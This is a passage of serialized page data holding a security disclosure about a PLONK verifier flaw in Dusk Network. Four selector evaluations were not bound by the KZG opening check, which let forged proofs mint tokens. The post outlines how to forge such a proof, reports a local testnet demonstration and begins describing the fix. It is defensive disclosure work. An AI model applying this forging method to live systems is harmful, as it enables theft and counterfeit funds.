5897},"outputs",{"type":21,"tag":198,"props":145899,"children":145901},{"className":145900,"style":4902},[4901],[],{"type":21,"tag":198,"props":145903,"children":145905},{"className":145904},[4907],[145906],{"type":27,"value":5193},{"type":21,"tag":198,"props":145908,"children":145910},{"className":145909,"style":4902},[4901],[],{"type":21,"tag":198,"props":145912,"children":145914},{"className":145913},[4811],[145915,145920,145930,145934,145939],{"type":21,"tag":198,"props":145916,"children":145919},{"className":145917,"style":145918},[4816],"height:0.7778em;vertical-align:-0.0833em;",[],{"type":21,"tag":198,"props":145921,"children":145923},{"className":145922},[4822,27],[145924],{"type":21,"tag":198,"props":145925,"children":145927},{"className":145926},[4822],[145928],{"type":27,"value":145929},"fee",{"type":21,"tag":198,"props":145931,"children":145933},{"className":145932,"style":4902},[4901],[],{"type":21,"tag":198,"props":145935,"children":145937},{"className":145936},[4907],[145938],{"type":27,"value":5193},{"type":21,"tag":198,"props":145940,"children":145942},{"className":145941,"style":4902},[4901],[],{"type":21,"tag":198,"props":145944,"children":145946},{"className":145945},[4811],[145947,145951],{"type":21,"tag":198,"props":145948,"children":145950},{"className":145949,"style":115484},[4816],[],{"type":21,"tag":198,"props":145952,"children":145954},{"className":145953},[4822,27],[145955],{"type":21,"tag":198,"props":145956,"children":145958},{"className":145957},[4822],[145959],{"type":27,"value":62341},{"type":21,"tag":123384,"props":145961,"children":145962},{},[145963,145980],{"type":21,"tag":123415,"props":145964,"children":145965},{},[145966,145973,145974],{"type":21,"tag":34,"props":145967,"children":145970},{"href":145968,"rel":145969},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L89-L90",[38],[145971],{"type":27,"value":145972},"Range checks on inputs",{"type":27,"value":11801},{"type":21,"tag":34,"props":145975,"children":145978},{"href":145976,"rel":145977},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L141-L142",[38],[145979],{"type":27,"value":145897},{"type":21,"tag":123415,"props":145981,"children":145982},{},[145983,145985],{"type":27,"value":145984},"All note values lie in ",{"type":21,"tag":194,"props":145986,"children":145988},{"className":145987},[4794,4795],[145989],{"type":21,"tag":198,"props":145990,"children":145992},{"className":145991},[4800],[145993],{"type":21,"tag":198,"props":145994,"children":145996},{"className":145995,"ariaHidden":4806},[4805],[145997,146082],{"type":21,"tag":198,"props":145998,"children":146000},{"className":145999},[4811],[146001,146005,146010,146015,146020,146024,146069,146073,146078],{"type":21,"tag":198,"props":146002,"children":146004},{"className":146003,"style":115741},[4816],[],{"type":21,"tag":198,"props":146006,"children":146008},{"className":146007},[22510],[146009],{"type":27,"value":2051},{"type":21,"tag":198,"props":146011,"children":146013},{"className":146012},[4822],[146014],{"type":27,"value":3482},{"type":21,"tag":198,"props":146016,"children":146018},{"className":146017},[4933],[146019],{"type":27,"value":2205},{"type":21,"tag":198,"props":146021,"children":146023},{"className":146022,"style":4939},[4901],[],{"type":21,"tag":198,"props":146025,"children":146027},{"className":146026},[4822],[146028,146033],{"type":21,"tag":198,"props":146029,"children":146031},{"className":146030},[4822],[146032],{"type":27,"value":3931},{"type":21,"tag":198,"props":146034,"children":146036},{"className":146035},[4837],[146037],{"type":21,"tag":198,"props":146038,"children":146040},{"className":146039},[4842],[146041],{"type":21,"tag":198,"props":146042,"children":146044},{"className":146043},[4847],[146045],{"type":21,"tag":198,"props":146046,"children":146048},{"className":146047,"style":4817},[4852],[146049],{"type":21,"tag":198,"props":146050,"children":146051},{"style":4856},[146052,146056],{"type":21,"tag":198,"props":146053,"children":146055},{"className":146054,"style":4862},[4861],[],{"type":21,"tag":198,"props":146057,"children":146059},{"className":146058},[4867,4868,4869,4870],[146060],{"type":21,"tag":198,"props":146061,"children":146063},{"className":146062},[4822,4870],[146064],{"type":21,"tag":198,"props":146065,"children":146067},{"className":146066},[4822,4870],[146068],{"type":27,"value":30225},{"type":21,"tag":198,"props":146070,"children":146072},{"className":146071,"style":4902},[4901],[],{"type":21,"tag":198,"props":146074,"children":146076},{"className":146075},[4907],[146077],{"type":27,"value":4881},{"type":21,"tag":198,"props":146079,"children":146081},{"className":146080,"style":4902},[4901],[],{"type":21,"tag":198,"props":146083,"children":146085},{"className":146084},[4811],[146086,146090,146095],{"type":21,"tag":198,"props":146087,"children":146089},{"className":146088,"style":4922},[4816],[],{"type":21,"tag":198,"props":146091,"children":146093},{"className":146092},[4822],[146094],{"type":27,"value":134},{"type":21,"tag":198,"props":146096,"children":146098},{"className":146097},[22532],[146099],{"type":27,"value":2071},{"type":21,"tag":123384,"props":146101,"children":146102},{},[146103,146113],{"type":21,"tag":123415,"props":146104,"children":146105},{},[146106],{"type":21,"tag":34,"props":146107,"children":146110},{"href":146108,"rel":146109},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L28-L51",[38],[146111],{"type":27,"value":146112},"Sender-authorship signatures",{"type":21,"tag":123415,"props":146114,"children":146115},{},[146116],{"type":27,"value":146117},"The transaction payload is signed by the sender's two signing key components",{"type":21,"tag":123384,"props":146119,"children":146120},{},[146121,146131],{"type":21,"tag":123415,"props":146122,"children":146123},{},[146124],{"type":21,"tag":34,"props":146125,"children":146128},{"href":146126,"rel":146127},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L63-L121",[38],[146129],{"type":27,"value":146130},"Sender encryption correctness",{"type":21,"tag":123415,"props":146132,"children":146133},{},[146134],{"type":27,"value":146135},"The sender data attached to each output note is a correct ElGamal encryption under the recipient note key",{"type":21,"tag":30,"props":146137,"children":146138},{},[146139,146141,146147,146149,146158],{"type":27,"value":146140},"Rusk does not consume these claims one by one. It consumes a single valid/invalid proof verdict over ",{"type":21,"tag":194,"props":146142,"children":146144},{"className":146143},[],[146145],{"type":27,"value":146146},"tx.public_inputs()",{"type":27,"value":146148}," via ",{"type":21,"tag":34,"props":146150,"children":146152},{"href":145588,"rel":146151},[38],[146153],{"type":21,"tag":194,"props":146154,"children":146156},{"className":146155},[],[146157],{"type":27,"value":145596},{"type":27,"value":658},{"type":21,"tag":30,"props":146160,"children":146161},{},[146162],{"type":27,"value":146163},"A soundness break in PLONK voids all of these constraints simultaneously, because forged selector evaluations make the entire circuit unconstrained rather than targeting any single check.",{"type":21,"tag":19590,"props":146165,"children":146166},{},[],{"type":21,"tag":22,"props":146168,"children":146169},{"id":90683},[146170],{"type":27,"value":146171},"The bug",{"type":21,"tag":30,"props":146173,"children":146174},{},[146175,146177,146184,146186,146197],{"type":27,"value":146176},"In the ",{"type":21,"tag":34,"props":146178,"children":146181},{"href":146179,"rel":146180},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L400",[38],[146182],{"type":27,"value":146183},"PLONK verification",{"type":27,"value":146185},", the verifier batches polynomial evaluations into a single KZG opening proof check. The evaluations included in this batch (committed via ",{"type":21,"tag":34,"props":146187,"children":146190},{"href":146188,"rel":146189},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L373",[38],[146191],{"type":21,"tag":194,"props":146192,"children":146194},{"className":146193},[],[146195],{"type":27,"value":146196},"E_evals",{"type":27,"value":146198},") are:",{"type":21,"tag":138,"props":146200,"children":146201},{},[146202,146234,146259,146284],{"type":21,"tag":75,"props":146203,"children":146204},{},[146205,146211,146212,146218,146219,146225,146226,146232],{"type":21,"tag":194,"props":146206,"children":146208},{"className":146207},[],[146209],{"type":27,"value":146210},"a_eval",{"type":27,"value":828},{"type":21,"tag":194,"props":146213,"children":146215},{"className":146214},[],[146216],{"type":27,"value":146217},"b_eval",{"type":27,"value":828},{"type":21,"tag":194,"props":146220,"children":146222},{"className":146221},[],[146223],{"type":27,"value":146224},"c_eval",{"type":27,"value":828},{"type":21,"tag":194,"props":146227,"children":146229},{"className":146228},[],[146230],{"type":27,"value":146231},"d_eval",{"type":27,"value":146233}," (witness)",{"type":21,"tag":75,"props":146235,"children":146236},{},[146237,146243,146244,146250,146251,146257],{"type":21,"tag":194,"props":146238,"children":146240},{"className":146239},[],[146241],{"type":27,"value":146242},"s_sigma_1_eval",{"type":27,"value":828},{"type":21,"tag":194,"props":146245,"children":146247},{"className":146246},[],[146248],{"type":27,"value":146249},"s_sigma_2_eval",{"type":27,"value":828},{"type":21,"tag":194,"props":146252,"children":146254},{"className":146253},[],[146255],{"type":27,"value":146256},"s_sigma_3_eval",{"type":27,"value":146258}," (permutation)",{"type":21,"tag":75,"props":146260,"children":146261},{},[146262,146268,146269,146275,146276,146282],{"type":21,"tag":194,"props":146263,"children":146265},{"className":146264},[],[146266],{"type":27,"value":146267},"a_w_eval",{"type":27,"value":828},{"type":21,"tag":194,"props":146270,"children":146272},{"className":146271},[],[146273],{"type":27,"value":146274},"b_w_eval",{"type":27,"value":828},{"type":21,"tag":194,"props":146277,"children":146279},{"className":146278},[],[146280],{"type":27,"value":146281},"d_w_eval",{"type":27,"value":146283}," (shifted witness)",{"type":21,"tag":75,"props":146285,"children":146286},{},[146287,146293],{"type":21,"tag":194,"props":146288,"children":146290},{"className":146289},[],[146291],{"type":27,"value":146292},"z_eval",{"type":27,"value":146294}," (permutation accumulator)",{"type":21,"tag":30,"props":146296,"children":146297},{},[146298,146300,146304],{"type":27,"value":146299},"But the following selector evaluations were ",{"type":21,"tag":1671,"props":146301,"children":146302},{},[146303],{"type":27,"value":19288},{"type":27,"value":146305}," included:",{"type":21,"tag":138,"props":146307,"children":146308},{},[146309,146320,146331,146342],{"type":21,"tag":75,"props":146310,"children":146311},{},[146312,146318],{"type":21,"tag":194,"props":146313,"children":146315},{"className":146314},[],[146316],{"type":27,"value":146317},"q_arith_eval",{"type":27,"value":146319}," (arithmetic selector)",{"type":21,"tag":75,"props":146321,"children":146322},{},[146323,146329],{"type":21,"tag":194,"props":146324,"children":146326},{"className":146325},[],[146327],{"type":27,"value":146328},"q_c_eval",{"type":27,"value":146330}," (constant selector)",{"type":21,"tag":75,"props":146332,"children":146333},{},[146334,146340],{"type":21,"tag":194,"props":146335,"children":146337},{"className":146336},[],[146338],{"type":27,"value":146339},"q_l_eval",{"type":27,"value":146341}," (left selector)",{"type":21,"tag":75,"props":146343,"children":146344},{},[146345,146351],{"type":21,"tag":194,"props":146346,"children":146348},{"className":146347},[],[146349],{"type":27,"value":146350},"q_r_eval",{"type":27,"value":146352}," (right selector)",{"type":21,"tag":30,"props":146354,"children":146355},{},[146356,146358,146365,146366,146373,146374,146381,146382,146389],{"type":27,"value":146357},"The prover places four selector evaluations in the proof struct. The verifier absorbs them into the transcript, and the widget verifier code uses them directly in the linearization check (",{"type":21,"tag":34,"props":146359,"children":146362},{"href":146360,"rel":146361},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/linearization_poly.rs#L33-L83",[38],[146363],{"type":27,"value":146364},"proof struct",{"type":27,"value":828},{"type":21,"tag":34,"props":146367,"children":146370},{"href":146368,"rel":146369},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L255-L286",[38],[146371],{"type":27,"value":146372},"transcript absorption",{"type":27,"value":828},{"type":21,"tag":34,"props":146375,"children":146378},{"href":146376,"rel":146377},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/arithmetic/verifierkey.rs#L92-L118",[38],[146379],{"type":27,"value":146380},"arithmetic widget",{"type":27,"value":828},{"type":21,"tag":34,"props":146383,"children":146386},{"href":146384,"rel":146385},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/ecc/scalar_mul/fixed_base/verifierkey.rs#L46-L102",[38],[146387],{"type":27,"value":146388},"fixed-base ECC widget",{"type":27,"value":146390},"). But they are never checked against the corresponding selector commitments in the verifier key, even though those commitments already exist. The prover sends whatever values it wants and the verifier trusts them.",{"type":21,"tag":30,"props":146392,"children":146393},{},[146394,146396,146400],{"type":27,"value":146395},"The easiest way to see why these four omissions are special is to contrast them with two nearby cases that are ",{"type":21,"tag":1671,"props":146397,"children":146398},{},[146399],{"type":27,"value":19288},{"type":27,"value":146401}," bugs:",{"type":21,"tag":138,"props":146403,"children":146404},{},[146405,146545],{"type":21,"tag":75,"props":146406,"children":146407},{},[146408,146410,146455,146457,146463,146465,146470,146471,146476,146477,146482,146484,146490,146492,146537,146539,146544],{"type":27,"value":146409},"There is no prover-supplied ",{"type":21,"tag":194,"props":146411,"children":146413},{"className":146412},[4794,4795],[146414],{"type":21,"tag":198,"props":146415,"children":146417},{"className":146416},[4800],[146418],{"type":21,"tag":198,"props":146419,"children":146421},{"className":146420,"ariaHidden":4806},[4805],[146422],{"type":21,"tag":198,"props":146423,"children":146425},{"className":146424},[4811],[146426,146430,146435,146440,146445,146450],{"type":21,"tag":198,"props":146427,"children":146429},{"className":146428,"style":4922},[4816],[],{"type":21,"tag":198,"props":146431,"children":146433},{"className":146432},[4822,22381],[146434],{"type":27,"value":3954},{"type":21,"tag":198,"props":146436,"children":146438},{"className":146437},[22510],[146439],{"type":27,"value":706},{"type":21,"tag":198,"props":146441,"children":146443},{"className":146442,"style":113986},[4822,22381],[146444],{"type":27,"value":113989},{"type":21,"tag":198,"props":146446,"children":146448},{"className":146447,"style":93915},[4822,22381],[146449],{"type":27,"value":145119},{"type":21,"tag":198,"props":146451,"children":146453},{"className":146452},[22532],[146454],{"type":27,"value":2109},{"type":27,"value":146456}," field at all. ",{"type":21,"tag":194,"props":146458,"children":146460},{"className":146459},[],[146461],{"type":27,"value":146462},"ProofEvaluations",{"type":27,"value":146464}," contains ",{"type":21,"tag":194,"props":146466,"children":146468},{"className":146467},[],[146469],{"type":27,"value":146267},{"type":27,"value":828},{"type":21,"tag":194,"props":146472,"children":146474},{"className":146473},[],[146475],{"type":27,"value":146274},{"type":27,"value":7299},{"type":21,"tag":194,"props":146478,"children":146480},{"className":146479},[],[146481],{"type":27,"value":146281},{"type":27,"value":146483},", but no ",{"type":21,"tag":194,"props":146485,"children":146487},{"className":146486},[],[146488],{"type":27,"value":146489},"c_w_eval",{"type":27,"value":146491},", so the verifier never consumes an unbound ",{"type":21,"tag":194,"props":146493,"children":146495},{"className":146494},[4794,4795],[146496],{"type":21,"tag":198,"props":146497,"children":146499},{"className":146498},[4800],[146500],{"type":21,"tag":198,"props":146501,"children":146503},{"className":146502,"ariaHidden":4806},[4805],[146504],{"type":21,"tag":198,"props":146505,"children":146507},{"className":146506},[4811],[146508,146512,146517,146522,146527,146532],{"type":21,"tag":198,"props":146509,"children":146511},{"className":146510,"style":4922},[4816],[],{"type":21,"tag":198,"props":146513,"children":146515},{"className":146514},[4822,22381],[146516],{"type":27,"value":3954},{"type":21,"tag":198,"props":146518,"children":146520},{"className":146519},[22510],[146521],{"type":27,"value":706},{"type":21,"tag":198,"props":146523,"children":146525},{"className":146524,"style":113986},[4822,22381],[146526],{"type":27,"value":113989},{"type":21,"tag":198,"props":146528,"children":146530},{"className":146529,"style":93915},[4822,22381],[146531],{"type":27,"value":145119},{"type":21,"tag":198,"props":146533,"children":146535},{"className":146534},[22532],[146536],{"type":27,"value":2109},{"type":27,"value":146538}," claim (",{"type":21,"tag":34,"props":146540,"children":146542},{"href":146360,"rel":146541},[38],[146543],{"type":27,"value":146364},{"type":27,"value":3394},{"type":21,"tag":75,"props":146546,"children":146547},{},[146548,146550,146637,146639,146731,146732,146739],{"type":27,"value":146549},"There is a fourth permutation commitment ",{"type":21,"tag":194,"props":146551,"children":146553},{"className":146552},[4794,4795],[146554],{"type":21,"tag":198,"props":146555,"children":146557},{"className":146556},[4800],[146558],{"type":21,"tag":198,"props":146559,"children":146561},{"className":146560,"ariaHidden":4806},[4805],[146562],{"type":21,"tag":198,"props":146563,"children":146565},{"className":146564},[4811],[146566,146570,146575,146632],{"type":21,"tag":198,"props":146567,"children":146569},{"className":146568,"style":4922},[4816],[],{"type":21,"tag":198,"props":146571,"children":146573},{"className":146572},[22510],[146574],{"type":27,"value":2051},{"type":21,"tag":198,"props":146576,"children":146578},{"className":146577},[4822],[146579,146584],{"type":21,"tag":198,"props":146580,"children":146582},{"className":146581,"style":93915},[4822,22381],[146583],{"type":27,"value":145014},{"type":21,"tag":198,"props":146585,"children":146587},{"className":146586},[4837],[146588],{"type":21,"tag":198,"props":146589,"children":146591},{"className":146590},[4842,22435],[146592,146621],{"type":21,"tag":198,"props":146593,"children":146595},{"className":146594},[4847],[146596,146616],{"type":21,"tag":198,"props":146597,"children":146599},{"className":146598,"style":93481},[4852],[146600],{"type":21,"tag":198,"props":146601,"children":146602},{"style":93962},[146603,146607],{"type":21,"tag":198,"props":146604,"children":146606},{"className":146605,"style":4862},[4861],[],{"type":21,"tag":198,"props":146608,"children":146610},{"className":146609},[4867,4868,4869,4870],[146611],{"type":21,"tag":198,"props":146612,"children":146614},{"className":146613},[4822,4870],[146615],{"type":27,"value":18330},{"type":21,"tag":198,"props":146617,"children":146619},{"className":146618},[22538],[146620],{"type":27,"value":22541},{"type":21,"tag":198,"props":146622,"children":146624},{"className":146623},[4847],[146625],{"type":21,"tag":198,"props":146626,"children":146628},{"className":146627,"style":93512},[4852],[146629],{"type":21,"tag":198,"props":146630,"children":146631},{},[],{"type":21,"tag":198,"props":146633,"children":146635},{"className":146634},[22532],[146636],{"type":27,"value":2071},{"type":27,"value":146638}," in the verifier key, but the verifier uses the commitment itself inside the linearization MSM rather than trusting a prover-supplied scalar ",{"type":21,"tag":194,"props":146640,"children":146642},{"className":146641},[4794,4795],[146643],{"type":21,"tag":198,"props":146644,"children":146646},{"className":146645},[4800],[146647],{"type":21,"tag":198,"props":146648,"children":146650},{"className":146649,"ariaHidden":4806},[4805],[146651],{"type":21,"tag":198,"props":146652,"children":146654},{"className":146653},[4811],[146655,146659,146716,146721,146726],{"type":21,"tag":198,"props":146656,"children":146658},{"className":146657,"style":4922},[4816],[],{"type":21,"tag":198,"props":146660,"children":146662},{"className":146661},[4822],[146663,146668],{"type":21,"tag":198,"props":146664,"children":146666},{"className":146665,"style":93915},[4822,22381],[146667],{"type":27,"value":145014},{"type":21,"tag":198,"props":146669,"children":146671},{"className":146670},[4837],[146672],{"type":21,"tag":198,"props":146673,"children":146675},{"className":146674},[4842,22435],[146676,146705],{"type":21,"tag":198,"props":146677,"children":146679},{"className":146678},[4847],[146680,146700],{"type":21,"tag":198,"props":146681,"children":146683},{"className":146682,"style":93481},[4852],[146684],{"type":21,"tag":198,"props":146685,"children":146686},{"style":93962},[146687,146691],{"type":21,"tag":198,"props":146688,"children":146690},{"className":146689,"style":4862},[4861],[],{"type":21,"tag":198,"props":146692,"children":146694},{"className":146693},[4867,4868,4869,4870],[146695],{"type":21,"tag":198,"props":146696,"children":146698},{"className":146697},[4822,4870],[146699],{"type":27,"value":18330},{"type":21,"tag":198,"props":146701,"children":146703},{"className":146702},[22538],[146704],{"type":27,"value":22541},{"type":21,"tag":198,"props":146706,"children":146708},{"className":146707},[4847],[146709],{"type":21,"tag":198,"props":146710,"children":146712},{"className":146711,"style":93512},[4852],[146713],{"type":21,"tag":198,"props":146714,"children":146715},{},[],{"type":21,"tag":198,"props":146717,"children":146719},{"className":146718},[22510],[146720],{"type":27,"value":706},{"type":21,"tag":198,"props":146722,"children":146724},{"className":146723,"style":113986},[4822,22381],[146725],{"type":27,"value":113989},{"type":21,"tag":198,"props":146727,"children":146729},{"className":146728},[22532],[146730],{"type":27,"value":2109},{"type":27,"value":648},{"type":21,"tag":34,"props":146733,"children":146736},{"href":146734,"rel":146735},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/permutation/verifierkey.rs#L24-L104",[38],[146737],{"type":27,"value":146738},"permutation verifier key",{"type":27,"value":3394},{"type":21,"tag":30,"props":146741,"children":146742},{},[146743,146745,146755],{"type":27,"value":146744},"The four selector evaluations fit neither of these safe patterns: they are prover-supplied scalars, they are used directly by verifier code, and they never appear in ",{"type":21,"tag":34,"props":146746,"children":146749},{"href":146747,"rel":146748},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L361-L373",[38],[146750],{"type":21,"tag":194,"props":146751,"children":146753},{"className":146752},[],[146754],{"type":27,"value":146196},{"type":27,"value":146756},", which leaves the master equation underconstrained.",{"type":21,"tag":30,"props":146758,"children":146759},{},[146760],{"type":21,"tag":1376,"props":146761,"children":146764},{"alt":146762,"src":146763},"structural_trust_boundary","/posts/dusk-commitment-issues/structural_trust_boundary.svg",[],{"type":21,"tag":19590,"props":146766,"children":146767},{},[],{"type":21,"tag":22,"props":146769,"children":146771},{"id":146770},"the-exploitation",[146772],{"type":27,"value":146773},"The exploitation",{"type":21,"tag":30,"props":146775,"children":146776},{},[146777],{"type":27,"value":146778},"Since the selector evaluations are free variables, the verification equation becomes a linear equation the prover can solve after the fact.",{"type":21,"tag":30,"props":146780,"children":146781},{},[146782,146784,146790,146792,146797,146799,146804,146806,146812],{"type":27,"value":146783},"The prover commits to arbitrary witness polynomials, without needing a valid witness, and arbitrary quotient polynomials, where small random linear polynomials suffice. It follows the honest protocol through all commitment rounds, deriving the same challenges the verifier will. After seeing ",{"type":21,"tag":194,"props":146785,"children":146787},{"className":146786},[],[146788],{"type":27,"value":146789},"z_challenge",{"type":27,"value":146791},", it computes what the linearization polynomial ",{"type":21,"tag":1671,"props":146793,"children":146794},{},[146795],{"type":27,"value":146796},"should",{"type":27,"value":146798}," evaluate to for the pairing check to pass, then solves for ",{"type":21,"tag":194,"props":146800,"children":146802},{"className":146801},[],[146803],{"type":27,"value":146317},{"type":27,"value":146805},", the single free variable that makes the verification equation balance (setting ",{"type":21,"tag":194,"props":146807,"children":146809},{"className":146808},[],[146810],{"type":27,"value":146811},"q_c_eval = q_l_eval = q_r_eval = 0",{"type":27,"value":3394},{"type":21,"tag":30,"props":146814,"children":146815},{},[146816],{"type":21,"tag":1376,"props":146817,"children":146820},{"alt":146818,"src":146819},"exploit_algebra","/posts/dusk-commitment-issues/exploit_algebra.svg",[],{"type":21,"tag":30,"props":146822,"children":146823},{},[146824,146826,146866,146868,146893,146895,146900],{"type":27,"value":146825},"To achieve this one may compute the linearization polynomial ",{"type":21,"tag":194,"props":146827,"children":146829},{"className":146828},[4794,4795],[146830],{"type":21,"tag":198,"props":146831,"children":146833},{"className":146832},[4800],[146834],{"type":21,"tag":198,"props":146835,"children":146837},{"className":146836,"ariaHidden":4806},[4805],[146838],{"type":21,"tag":198,"props":146839,"children":146841},{"className":146840},[4811],[146842,146846,146851,146856,146861],{"type":21,"tag":198,"props":146843,"children":146845},{"className":146844,"style":4922},[4816],[],{"type":21,"tag":198,"props":146847,"children":146849},{"className":146848,"style":93429},[4822,22381],[146850],{"type":27,"value":94248},{"type":21,"tag":198,"props":146852,"children":146854},{"className":146853},[22510],[146855],{"type":27,"value":706},{"type":21,"tag":198,"props":146857,"children":146859},{"className":146858},[4822,22381],[146860],{"type":27,"value":20070},{"type":21,"tag":198,"props":146862,"children":146864},{"className":146863},[22532],[146865],{"type":27,"value":2109},{"type":27,"value":146867}," with all selectors set to zero, evaluating it at ",{"type":21,"tag":194,"props":146869,"children":146871},{"className":146870},[4794,4795],[146872],{"type":21,"tag":198,"props":146873,"children":146875},{"className":146874},[4800],[146876],{"type":21,"tag":198,"props":146877,"children":146879},{"className":146878,"ariaHidden":4806},[4805],[146880],{"type":21,"tag":198,"props":146881,"children":146883},{"className":146882},[4811],[146884,146888],{"type":21,"tag":198,"props":146885,"children":146887},{"className":146886,"style":111270},[4816],[],{"type":21,"tag":198,"props":146889,"children":146891},{"className":146890,"style":113986},[4822,22381],[146892],{"type":27,"value":113989},{"type":27,"value":146894},", and comparing to the target value; the difference divided by the coefficient of ",{"type":21,"tag":194,"props":146896,"children":146898},{"className":146897},[],[146899],{"type":27,"value":146317},{"type":27,"value":146901}," gives the required value in a single field division.",{"type":21,"tag":19590,"props":146903,"children":146904},{},[],{"type":21,"tag":22,"props":146906,"children":146908},{"id":146907},"impact-on-dusk-network",[146909],{"type":27,"value":146910},"Impact on Dusk Network",{"type":21,"tag":30,"props":146912,"children":146913},{},[146914,146916,146923],{"type":27,"value":146915},"PLONK is the sole gatekeeper for Phoenix-specific correctness claims: note membership, ownership, note commitments, sender-authorship, and balance integrity are encoded entirely in the circuit. Rusk does check other preconditions such as nullifier uniqueness before it verifies the proof (",{"type":21,"tag":34,"props":146917,"children":146920},{"href":146918,"rel":146919},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L153-L184",[38],[146921],{"type":27,"value":146922},"preverify path",{"type":27,"value":146924},"), but for the claims inside the proof there is no secondary validation path. With forged proofs, an attacker could:",{"type":21,"tag":71,"props":146926,"children":146927},{},[146928,146933,146938],{"type":21,"tag":75,"props":146929,"children":146930},{},[146931],{"type":27,"value":146932},"Inflate the token supply by fabricating input notes that do not exist in the note tree, with arbitrary values. The forged proof convinces the network these notes are real, and the attacker mints DUSK out of nothing, ready to transfer to honest users or exchanges.",{"type":21,"tag":75,"props":146934,"children":146935},{},[146936],{"type":27,"value":146937},"Forge spends that bypass the ownership, membership, and balance checks that normally make a Phoenix input note valid.",{"type":21,"tag":75,"props":146939,"children":146940},{},[146941],{"type":27,"value":146942},"Move forged shielded funds through honest wallets, because once a forged Phoenix transaction is accepted, the resulting shielded outputs are not distinguishable from legitimate Phoenix outputs at the protocol level.",{"type":21,"tag":30,"props":146944,"children":146945},{},[146946],{"type":27,"value":146947},"We demonstrated this with a full end-to-end proof-of-concept on a local Dusk testnet:",{"type":21,"tag":71,"props":146949,"children":146950},{},[146951,146956,146966,146978,146983],{"type":21,"tag":75,"props":146952,"children":146953},{},[146954],{"type":27,"value":146955},"Set up a single honest Rusk node and create two wallets (honest and malicious), both with balance 0",{"type":21,"tag":75,"props":146957,"children":146958},{},[146959,146961],{"type":27,"value":146960},"The malicious wallet forges a PLONK proof to create ",{"type":21,"tag":6137,"props":146962,"children":146963},{},[146964],{"type":27,"value":146965},"2000 DUSK from nothing",{"type":21,"tag":75,"props":146967,"children":146968},{},[146969,146971,146976],{"type":27,"value":146970},"The malicious wallet transfers ",{"type":21,"tag":6137,"props":146972,"children":146973},{},[146974],{"type":27,"value":146975},"1337 DUSK",{"type":27,"value":146977}," to the honest wallet using a normal (honestly-proved) transaction",{"type":21,"tag":75,"props":146979,"children":146980},{},[146981],{"type":27,"value":146982},"The honest node validates both transactions and mines them into blocks",{"type":21,"tag":75,"props":146984,"children":146985},{},[146986],{"type":27,"value":146987},"The honest wallet shows a confirmed balance of 1337 DUSK",{"type":21,"tag":30,"props":146989,"children":146990},{},[146991],{"type":21,"tag":1376,"props":146992,"children":146995},{"alt":146993,"src":146994},"end_to_end","/posts/dusk-commitment-issues/end_to_end.svg",[],{"type":21,"tag":30,"props":146997,"children":146998},{},[146999,147001,147007,147009,147016],{"type":27,"value":147000},"At the time of discovery, DUSK's market cap was roughly ",{"type":21,"tag":34,"props":147002,"children":147004},{"href":142302,"rel":147003},[38],[147005],{"type":27,"value":147006},"~60M",{"type":27,"value":147008},". The entire shielded transaction layer was at risk. Because Phoenix is privacy-preserving, forged outputs accepted into the shielded pool would have been difficult to distinguish after the fact, similar to Neptune Cash with the ",{"type":21,"tag":34,"props":147010,"children":147013},{"href":147011,"rel":147012},"https://neptune.cash/articles/critical-vulnerability-disclosure",[38],[147014],{"type":27,"value":147015},"Triton VM vulnerability",{"type":27,"value":658},{"type":21,"tag":19590,"props":147018,"children":147019},{},[],{"type":21,"tag":22,"props":147021,"children":147023},{"id":147022},"the-fix",[147024],{"type":27,"value":147025},"The fix",{"type":21,"tag":30,"props":147027,"children":147028},{},[147029],{"type":27,"value":147030},"The fix adds the four selector evaluations to the KZG batch opening check, so they are verified against the selector commitments already present in the verifier key:",{"type":21,"tag":138,"props":147032,"children":147033},{},[147034,147079],{"type":21,"tag":75,"props":147035,"children":147036},{},[147037,147039,147050,147052,147058,147059,147065,147066,147072,147073],{"type":27,"value":147038},"Extend ",{"type":21,"tag":34,"props":147040,"children":147043},{"href":147041,"rel":147042},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/compiler/prover.rs#L509",[38],[147044],{"type":21,"tag":194,"props":147045,"children":147047},{"className":147046},[],[147048],{"type":27,"value":147049},"compute_aggregate_witness",{"type":27,"value":147051}," on the prover side to also include ",{"type":21,"tag":194,"props":147053,"children":147055},{"className":147054},[],[147056],{"type":27,"value":147057},"q_arith",{"type":27,"value":828},{"type":21,"tag":194,"props":147060,"children":147062},{"className":147061},[],[147063],{"type":27,"value":147064},"q_c",{"type":27,"value":828},{"type":21,"tag":194,"props":147067,"children":147069},{"className":147068},[],[147070],{"type":27,"value":147071},"q_l",{"type":27,"value":7299},{"type":21,"tag":194,"props":147074,"children":147076},{"className":147075},[],[147077],{"type":27,"value":147078},"q_r",{"type":21,"tag":75,"props":147080,"children":147081},{},[147082,147084,147094],{"type":27,"value":147083},"Add their evaluations to 